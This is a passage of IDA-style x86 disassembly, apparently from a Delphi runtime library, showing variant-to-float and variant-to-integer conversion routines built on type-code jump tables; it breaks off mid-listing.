sub_400106E4:off_40010706o xor eax, eax ; jumptable 400106FF case 0 mov [ebp+var_8], eax jmp loc_40010867 ; --------------------------------------------------------------------------- loc_40010764: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: sub_400106E4:off_40010706o cmp byte_4001AA10, 0 ; jumptable 400106FF case 1 jz short loc_4001077A mov dx, 4 mov ax, 1 call sub_4000DBF4 loc_4001077A: ; CODE XREF: sub_400106E4+87j xor eax, eax mov [ebp+var_8], eax jmp loc_40010867 ; --------------------------------------------------------------------------- loc_40010784: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: sub_400106E4:off_40010706o mov eax, [ebp+var_4] ; jumptable 400106FF case 2 fild word ptr [eax+8] fstp [ebp+var_8] wait jmp loc_40010867 ; --------------------------------------------------------------------------- loc_40010793: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: sub_400106E4:off_40010706o mov eax, [ebp+var_4] ; jumptable 400106FF case 3 fild dword ptr [eax+8] fstp [ebp+var_8] wait jmp loc_40010867 ; --------------------------------------------------------------------------- loc_400107A2: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: sub_400106E4:off_40010706o mov eax, [ebp+var_4] ; jumptable 400106FF case 4 mov eax, [eax+8] mov [ebp+var_8], eax jmp loc_40010867 ; --------------------------------------------------------------------------- loc_400107B0: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: sub_400106E4:off_40010706o mov eax, [ebp+var_4] ; jumptable 400106FF case 11 movsx eax, word ptr [eax+8] mov [ebp+var_C], eax fild [ebp+var_C] fstp [ebp+var_8] wait jmp loc_40010867 ; --------------------------------------------------------------------------- loc_400107C6: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: sub_400106E4:off_40010706o mov eax, [ebp+var_4] ; jumptable 400106FF case 16 movsx eax, byte ptr [eax+8] mov [ebp+var_C], eax fild [ebp+var_C] fstp [ebp+var_8] wait jmp loc_40010867 ; --------------------------------------------------------------------------- loc_400107DC: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: sub_400106E4:off_40010706o mov eax, [ebp+var_4] ; jumptable 400106FF case 17 movzx eax, byte ptr [eax+8] mov [ebp+var_C], eax fild [ebp+var_C] fstp [ebp+var_8] wait jmp short loc_40010867 ; --------------------------------------------------------------------------- loc_400107EF: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: sub_400106E4:off_40010706o mov eax, [ebp+var_4] ; jumptable 400106FF case 18 movzx eax, word ptr [eax+8] mov [ebp+var_C], eax fild [ebp+var_C] fstp [ebp+var_8] wait jmp short loc_40010867 ; --------------------------------------------------------------------------- loc_40010802: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: sub_400106E4:off_40010706o mov eax, [ebp+var_4] ; jumptable 400106FF case 19 mov eax, [eax+8] mov dword ptr [ebp+var_14], eax xor eax, eax mov dword ptr [ebp+var_14+4], eax fild [ebp+var_14] fstp [ebp+var_8] wait jmp short loc_40010867 ; --------------------------------------------------------------------------- loc_40010819: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: sub_400106E4:off_40010706o mov eax, [ebp+var_4] ; jumptable 400106FF case 20 fild qword ptr [eax+8] fstp [ebp+var_8] wait jmp short loc_40010867 ; --------------------------------------------------------------------------- loc_40010825: ; CODE XREF: sub_400106E4+15j ; sub_400106E4+1Bj ; DATA XREF: ... xor eax, eax ; default ; jumptable 400106FF cases 5-10,12-15 push ebp push offset loc_40010849 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_4001036C fstp [ebp+var_8] wait xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_40010867 ; --------------------------------------------------------------------------- loc_40010849: ; DATA XREF: sub_400106E4+144o jmp sub_400040D8 ; --------------------------------------------------------------------------- mov eax, [ebp+var_4] movzx eax, word ptr [eax] mov dx, 4 call sub_4000E068 xor eax, eax mov [ebp+var_8], eax call sub_40004360 loc_40010867: ; CODE XREF: sub_400106E4+7Bj ; sub_400106E4+9Bj ... fld [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_400106E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40010874 proc near ; CODE XREF: sub_40010ABC+DEp ; sub_40010ABC+1A7p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = qword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx xor edx, edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov ebx, eax xor eax, eax push ebp push offset loc_40010950 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_4] call sub_40011DFC lea eax, [ebp+var_10] push eax push 0 push 400h mov eax, [ebp+var_4] push eax mov eax, off_4001AF3C mov eax, [eax] call eax mov edx, eax sub edx, 80020005h jz short loc_400108CC sub edx, 7FFDFFFBh jnz short loc_40010921 jmp short loc_4001092D ; --------------------------------------------------------------------------- loc_400108CC: ; CODE XREF: sub_40010874+4Cj lea eax, [ebp+var_1C] mov edx, [ebp+var_4] call sub_40004B0C mov eax, [ebp+var_1C] lea edx, [ebp+var_10] call sub_4000A710 test al, al jnz short loc_4001092D lea eax, [ebp+var_20] mov edx, [ebp+var_4] call sub_40004B0C mov eax, [ebp+var_20] lea edx, [ebp+var_18] call sub_40008E90 test al, al jz short loc_4001090E mov eax, [ebp+var_18] mov dword ptr [ebp+var_10], eax mov eax, [ebp+var_14] mov dword ptr [ebp+var_10+4], eax jmp short loc_4001092D ; --------------------------------------------------------------------------- loc_4001090E: ; CODE XREF: sub_40010874+8Aj movzx edx, word ptr [ebx] mov cx, 7 mov eax, 80020005h call sub_4000E034 jmp short loc_4001092D ; --------------------------------------------------------------------------- loc_40010921: ; CODE XREF: sub_40010874+54j movzx edx, word ptr [ebx] mov cx, 7 call sub_4000E034 loc_4001092D: ; CODE XREF: sub_40010874+56j ; sub_40010874+70j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40010957 loc_4001093A: ; CODE XREF: sub_40010874+E1j lea eax, [ebp+var_20] mov edx, 2 call sub_400048A8 lea eax, [ebp+var_4] call sub_40005008 retn ; --------------------------------------------------------------------------- loc_40010950: ; DATA XREF: sub_40010874+17o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001093A ; --------------------------------------------------------------------------- loc_40010957: ; CODE XREF: sub_40010874+DBj ; DATA XREF: sub_40010874+C1o fld [ebp+var_10] pop ebx mov esp, ebp pop ebp retn sub_40010874 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40010960 proc near ; CODE XREF: sub_40010ABC+166p ; sub_40010ABC+307p var_18 = word ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov ebx, eax lea eax, [ebp+var_18] push eax call sub_4000CDD8 mov [ebp+var_18], 5 mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax push 7 push 0 push 400h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_18] push eax mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov cx, 7 call sub_4000E034 mov eax, [ebp+var_10] mov dword ptr [ebp+var_8], eax mov eax, [ebp+var_C] mov dword ptr [ebp+var_8+4], eax fld [ebp+var_8] pop ebx mov esp, ebp pop ebp retn 8 sub_40010960 endp ; =============== S U B R O U T I N E ======================================= sub_400109C0 proc near ; CODE XREF: sub_40010ABC+BCp ; sub_40010ABC+187p ... var_1C = qword ptr -1Ch var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebx add esp, 0FFFFFFE8h mov ebx, eax lea eax, [esp+1Ch+var_14] push eax call sub_4000CDD8 push 7 push 0 push 400h push ebx lea eax, [esp+2Ch+var_14] push eax mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov cx, 7 call sub_4000E034 mov eax, [esp+1Ch+var_C] mov dword ptr [esp+1Ch+var_1C], eax mov eax, [esp+1Ch+var_8] mov dword ptr [esp+1Ch+var_1C+4], eax fld [esp+1Ch+var_1C] add esp, 18h pop ebx retn sub_400109C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40010A0C proc near ; CODE XREF: sub_40010ABC+1B7p var_18 = byte ptr -18h var_8 = qword ptr -8 push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov ebx, eax lea eax, [ebp+var_18] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_40010A61 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_18] call sub_4000E700 lea eax, [ebp+var_18] call ds:off_4001F29C lea eax, [ebp+var_18] call sub_40010ABC fstp [ebp+var_8] wait xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40010A68 loc_40010A58: ; CODE XREF: sub_40010A0C+5Aj lea eax, [ebp+var_18] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_40010A61: ; DATA XREF: sub_40010A0C+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40010A58 ; --------------------------------------------------------------------------- loc_40010A68: ; CODE XREF: sub_40010A0C+54j ; DATA XREF: sub_40010A0C+47o fld [ebp+var_8] pop ebx mov esp, ebp pop ebp retn sub_40010A0C endp ; =============== S U B R O U T I N E ======================================= sub_40010A70 proc near ; CODE XREF: sub_40010ABC+331p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, edx mov esi, eax mov edx, esp movzx eax, word ptr [esi] call sub_40012D98 mov ebx, eax test bl, bl jz short loc_40010AB2 lea eax, [esp+20h+var_1C] push eax call sub_4000CDD8 push 7 mov ecx, esi lea edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] mov esi, [eax] call dword ptr [esi+1Ch] mov eax, [esp+20h+var_14] mov [edi], eax mov eax, [esp+20h+var_10] mov [edi+4], eax loc_40010AB2: ; CODE XREF: sub_40010A70+18j mov eax, ebx add esp, 14h pop edi pop esi pop ebx retn sub_40010A70 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40010ABC proc near ; CODE XREF: sub_4000E9CC+14Ap ; sub_40010A0C+36p ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = qword ptr -0Ch push ebx add esp, 0FFFFFFECh mov ebx, eax movzx eax, word ptr [ebx] movzx edx, ax cmp edx, 14h ; switch 21 cases ja loc_40010C51 ; default ; jumptable 40010AD1 cases 10,14,15 jmp ds:off_40010AD8[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_40010AD8 dd offset loc_40010B2C ; DATA XREF: sub_40010ABC+15r dd offset loc_40010B3A ; jump table for switch statement dd offset loc_40010B5E dd offset loc_40010B6A dd offset loc_40010B76 dd offset loc_40010B76 dd offset loc_40010B76 dd offset loc_40010B86 dd offset loc_40010B98 dd offset loc_40010C41 dd offset loc_40010C51 dd offset loc_40010BA8 dd offset loc_40010C30 dd offset loc_40010C41 dd offset loc_40010C51 dd offset loc_40010C51 dd offset loc_40010BBD dd offset loc_40010BD2 dd offset loc_40010BE7 dd offset loc_40010BFC dd offset loc_40010C16 ; --------------------------------------------------------------------------- loc_40010B2C: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o xor eax, eax ; jumptable 40010AD1 case 0 mov dword ptr [esp+18h+var_18], eax mov dword ptr [esp+18h+var_18+4], eax jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010B3A: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o cmp byte_4001AA10, 0 ; jumptable 40010AD1 case 1 jz short loc_40010B50 mov dx, 7 mov ax, 1 call sub_4000DBF4 loc_40010B50: ; CODE XREF: sub_40010ABC+85j xor eax, eax mov dword ptr [esp+18h+var_18], eax mov dword ptr [esp+18h+var_18+4], eax jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010B5E: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o fild word ptr [ebx+8] ; jumptable 40010AD1 case 2 fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010B6A: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o fild dword ptr [ebx+8] ; jumptable 40010AD1 case 3 fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010B76: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o mov eax, ebx ; jumptable 40010AD1 cases 4-6 call sub_400109C0 fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010B86: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o mov eax, [ebx+8] ; jumptable 40010AD1 case 7 mov dword ptr [esp+18h+var_18], eax mov eax, [ebx+0Ch] mov dword ptr [esp+18h+var_18+4], eax jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010B98: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o mov eax, ebx ; jumptable 40010AD1 case 8 call sub_40010874 fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010BA8: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o movsx eax, word ptr [ebx+8] ; jumptable 40010AD1 case 11 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010BBD: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o movsx eax, byte ptr [ebx+8] ; jumptable 40010AD1 case 16 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010BD2: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o movzx eax, byte ptr [ebx+8] ; jumptable 40010AD1 case 17 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010BE7: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o movzx eax, word ptr [ebx+8] ; jumptable 40010AD1 case 18 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010BFC: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o mov eax, [ebx+8] ; jumptable 40010AD1 case 19 mov dword ptr [esp+18h+var_C], eax xor eax, eax mov dword ptr [esp+18h+var_C+4], eax fild [esp+18h+var_C] fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010C16: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o fild qword ptr [ebx+8] ; jumptable 40010AD1 case 20 add esp, 0FFFFFFF8h fstp [esp+20h+var_20] wait mov eax, ebx call sub_40010960 fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010C30: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o mov eax, [ebx+8] ; jumptable 40010AD1 case 12 call sub_40010ABC fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010C41: ; CODE XREF: sub_40010ABC+15j ; DATA XREF: sub_40010ABC:off_40010AD8o mov eax, ebx ; jumptable 40010AD1 cases 9,13 call sub_400109C0 fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010C51: ; CODE XREF: sub_40010ABC+Fj ; sub_40010ABC+15j ; DATA XREF: ... mov edx, eax ; default ; jumptable 40010AD1 cases 10,14,15 sub dx, 100h jz short loc_40010C61 dec dx jz short loc_40010C71 jmp short loc_40010C81 ; --------------------------------------------------------------------------- loc_40010C61: ; CODE XREF: sub_40010ABC+19Cj mov eax, ebx call sub_40010874 fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010C71: ; CODE XREF: sub_40010ABC+1A1j mov eax, ebx call sub_40010A0C fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010C81: ; CODE XREF: sub_40010ABC+1A3j test ah, 40h jz loc_40010DE9 movzx eax, ax and eax, 0FFFFBFFFh cmp eax, 14h ; switch 21 cases ja loc_40010DDC ; default ; jumptable 40010C9B cases 0,1,9,10,13-15 jmp ds:off_40010CA2[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_40010CA2 dd offset loc_40010DDC ; DATA XREF: sub_40010ABC+1DFr dd offset loc_40010DDC ; jump table for switch statement dd offset loc_40010CF6 dd offset loc_40010D04 dd offset loc_40010D12 dd offset loc_40010D12 dd offset loc_40010D12 dd offset loc_40010D22 dd offset loc_40010D36 dd offset loc_40010DDC dd offset loc_40010DDC dd offset loc_40010D46 dd offset loc_40010DCE dd offset loc_40010DDC dd offset loc_40010DDC dd offset loc_40010DDC dd offset loc_40010D5D dd offset loc_40010D74 dd offset loc_40010D88 dd offset loc_40010D9C dd offset loc_40010DB5 ; --------------------------------------------------------------------------- loc_40010CF6: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, [ebx+8] ; jumptable 40010C9B case 2 fild word ptr [eax] fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010D04: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, [ebx+8] ; jumptable 40010C9B case 3 fild dword ptr [eax] fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010D12: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, ebx ; jumptable 40010C9B cases 4-6 call sub_400109C0 fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010D22: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, [ebx+8] ; jumptable 40010C9B case 7 mov edx, [eax] mov dword ptr [esp+18h+var_18], edx mov edx, [eax+4] mov dword ptr [esp+18h+var_18+4], edx jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010D36: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, ebx ; jumptable 40010C9B case 8 call sub_40010874 fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010D46: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, [ebx+8] ; jumptable 40010C9B case 11 movsx eax, word ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010D5D: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, [ebx+8] ; jumptable 40010C9B case 16 movsx eax, byte ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_40010E01 ; --------------------------------------------------------------------------- loc_40010D74: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, [ebx+8] ; jumptable 40010C9B case 17 movzx eax, byte ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp short loc_40010E01 ; --------------------------------------------------------------------------- loc_40010D88: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, [ebx+8] ; jumptable 40010C9B case 18 movzx eax, word ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp short loc_40010E01 ; --------------------------------------------------------------------------- loc_40010D9C: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, [ebx+8] ; jumptable 40010C9B case 19 mov eax, [eax] mov dword ptr [esp+18h+var_C], eax xor eax, eax mov dword ptr [esp+18h+var_C+4], eax fild [esp+18h+var_C] fstp [esp+18h+var_18] wait jmp short loc_40010E01 ; --------------------------------------------------------------------------- loc_40010DB5: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, [ebx+8] ; jumptable 40010C9B case 20 fild qword ptr [eax] add esp, 0FFFFFFF8h fstp [esp+20h+var_20] wait mov eax, ebx call sub_40010960 fstp [esp+18h+var_18] wait jmp short loc_40010E01 ; --------------------------------------------------------------------------- loc_40010DCE: ; CODE XREF: sub_40010ABC+1DFj ; DATA XREF: sub_40010ABC:off_40010CA2o mov eax, [ebx+8] ; jumptable 40010C9B case 12 call sub_40010ABC fstp [esp+18h+var_18] wait jmp short loc_40010E01 ; --------------------------------------------------------------------------- loc_40010DDC: ; CODE XREF: sub_40010ABC+1D9j ; sub_40010ABC+1DFj ; DATA XREF: ... mov eax, ebx ; default ; jumptable 40010C9B cases 0,1,9,10,13-15 call sub_400109C0 fstp [esp+18h+var_18] wait jmp short loc_40010E01 ; --------------------------------------------------------------------------- loc_40010DE9: ; CODE XREF: sub_40010ABC+1C8j mov edx, esp mov eax, ebx call sub_40010A70 test al, al jnz short loc_40010E01 mov eax, ebx call sub_400109C0 fstp [esp+18h+var_18] wait loc_40010E01: ; CODE XREF: sub_40010ABC+79j ; sub_40010ABC+9Dj ... fld [esp+18h+var_18] add esp, 14h pop ebx retn sub_40010ABC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40010E0C proc near ; CODE XREF: sub_40011024+FAp ; sub_40011024+1E1p ... var_14 = dword ptr -14h var_10 = qword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx xor edx, edx mov [ebp+var_14], edx mov [ebp+var_4], edx mov ebx, eax xor eax, eax push ebp push offset loc_40010EB8 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_4] call sub_40011DFC lea eax, [ebp+var_10] push eax push 0 push 400h mov eax, [ebp+var_4] push eax mov eax, off_4001B0A0 mov eax, [eax] call eax mov edx, eax sub edx, 80020005h jz short loc_40010E61 sub edx, 7FFDFFFBh jnz short loc_40010E8E jmp short loc_40010E9A ; --------------------------------------------------------------------------- loc_40010E61: ; CODE XREF: sub_40010E0C+49j lea eax, [ebp+var_14] mov edx, [ebp+var_4] call sub_40004B0C mov eax, [ebp+var_14] lea edx, [ebp+var_10] call sub_40008EE8 test al, al jnz short loc_40010E9A movzx edx, word ptr [ebx] mov cx, 6 mov eax, 80020005h call sub_4000E034 jmp short loc_40010E9A ; --------------------------------------------------------------------------- loc_40010E8E: ; CODE XREF: sub_40010E0C+51j movzx edx, word ptr [ebx] mov cx, 6 call sub_4000E034 loc_40010E9A: ; CODE XREF: sub_40010E0C+53j ; sub_40010E0C+6Dj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40010EBF loc_40010EA7: ; CODE XREF: sub_40010E0C+B1j lea eax, [ebp+var_14] call sub_40004884 lea eax, [ebp+var_4] call sub_40005008 retn ; --------------------------------------------------------------------------- loc_40010EB8: ; DATA XREF: sub_40010E0C+14o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40010EA7 ; --------------------------------------------------------------------------- loc_40010EBF: ; CODE XREF: sub_40010E0C+ABj ; DATA XREF: sub_40010E0C+96o fild [ebp+var_10] pop ebx mov esp, ebp pop ebp retn sub_40010E0C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40010EC8 proc near ; CODE XREF: sub_40011024+1A0p ; sub_40011024+37Ep var_18 = word ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov ebx, eax lea eax, [ebp+var_18] push eax call sub_4000CDD8 mov [ebp+var_18], 5 mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax push 6 push 0 push 400h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_18] push eax mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov cx, 6 call sub_4000E034 mov eax, [ebp+var_10] mov dword ptr [ebp+var_8], eax mov eax, [ebp+var_C] mov dword ptr [ebp+var_8+4], eax fild [ebp+var_8] pop ebx mov esp, ebp pop ebp retn 8 sub_40010EC8 endp ; =============== S U B R O U T I N E ======================================= sub_40010F28 proc near ; CODE XREF: sub_40011024+C8p ; sub_40011024+EAp ... var_1C = qword ptr -1Ch var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebx add esp, 0FFFFFFE8h mov ebx, eax lea eax, [esp+1Ch+var_14] push eax call sub_4000CDD8 push 6 push 0 push 400h push ebx lea eax, [esp+2Ch+var_14] push eax mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov cx, 6 call sub_4000E034 mov eax, [esp+1Ch+var_C] mov dword ptr [esp+1Ch+var_1C], eax mov eax, [esp+1Ch+var_8] mov dword ptr [esp+1Ch+var_1C+4], eax fild [esp+1Ch+var_1C] add esp, 18h pop ebx retn sub_40010F28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40010F74 proc near ; CODE XREF: sub_40011024+1F1p var_18 = byte ptr -18h var_8 = qword ptr -8 push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov ebx, eax lea eax, [ebp+var_18] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_40010FC9 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_18] call sub_4000E700 lea eax, [ebp+var_18] call ds:off_4001F29C lea eax, [ebp+var_18] call sub_40011024 fistp [ebp+var_8] wait xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40010FD0 loc_40010FC0: ; CODE XREF: sub_40010F74+5Aj lea eax, [ebp+var_18] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_40010FC9: ; DATA XREF: sub_40010F74+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40010FC0 ; --------------------------------------------------------------------------- loc_40010FD0: ; CODE XREF: sub_40010F74+54j ; DATA XREF: sub_40010F74+47o fild [ebp+var_8] pop ebx mov esp, ebp pop ebp retn sub_40010F74 endp ; =============== S U B R O U T I N E ======================================= sub_40010FD8 proc near ; CODE XREF: sub_40011024+3A8p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, edx mov esi, eax mov edx, esp movzx eax, word ptr [esi] call sub_40012D98 mov ebx, eax test bl, bl jz short loc_4001101A lea eax, [esp+20h+var_1C] push eax call sub_4000CDD8 push 6 mov ecx, esi lea edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] mov esi, [eax] call dword ptr [esi+1Ch] mov eax, [esp+20h+var_14] mov [edi], eax mov eax, [esp+20h+var_10] mov [edi+4], eax loc_4001101A: ; CODE XREF: sub_40010FD8+18j mov eax, ebx add esp, 14h pop edi pop esi pop ebx retn sub_40010FD8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40011024 proc near ; CODE XREF: sub_4000E9CC+130p ; sub_40010F74+36p ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = qword ptr -0Ch push ebx add esp, 0FFFFFFECh mov ebx, eax movzx eax, word ptr [ebx] movzx edx, ax cmp edx, 14h ; switch 21 cases ja loc_400111F3 ; default ; jumptable 40011039 cases 10,14,15 jmp ds:off_40011040[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_40011040 dd offset loc_40011094 ; DATA XREF: sub_40011024+15r dd offset loc_400110A2 ; jump table for switch statement dd offset loc_400110C6 dd offset loc_400110D8 dd offset loc_400110EA dd offset loc_400110EA dd offset loc_400110FA dd offset loc_4001110C dd offset loc_4001111C dd offset loc_400111E3 dd offset loc_400111F3 dd offset loc_4001112C dd offset loc_400111D2 dd offset loc_400111E3 dd offset loc_400111F3 dd offset loc_400111F3 dd offset loc_40011147 dd offset loc_40011162 dd offset loc_4001117D dd offset loc_40011198 dd offset loc_400111B8 ; --------------------------------------------------------------------------- loc_40011094: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o xor eax, eax ; jumptable 40011039 case 0 mov dword ptr [esp+18h+var_18], eax mov dword ptr [esp+18h+var_18+4], eax jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400110A2: ; 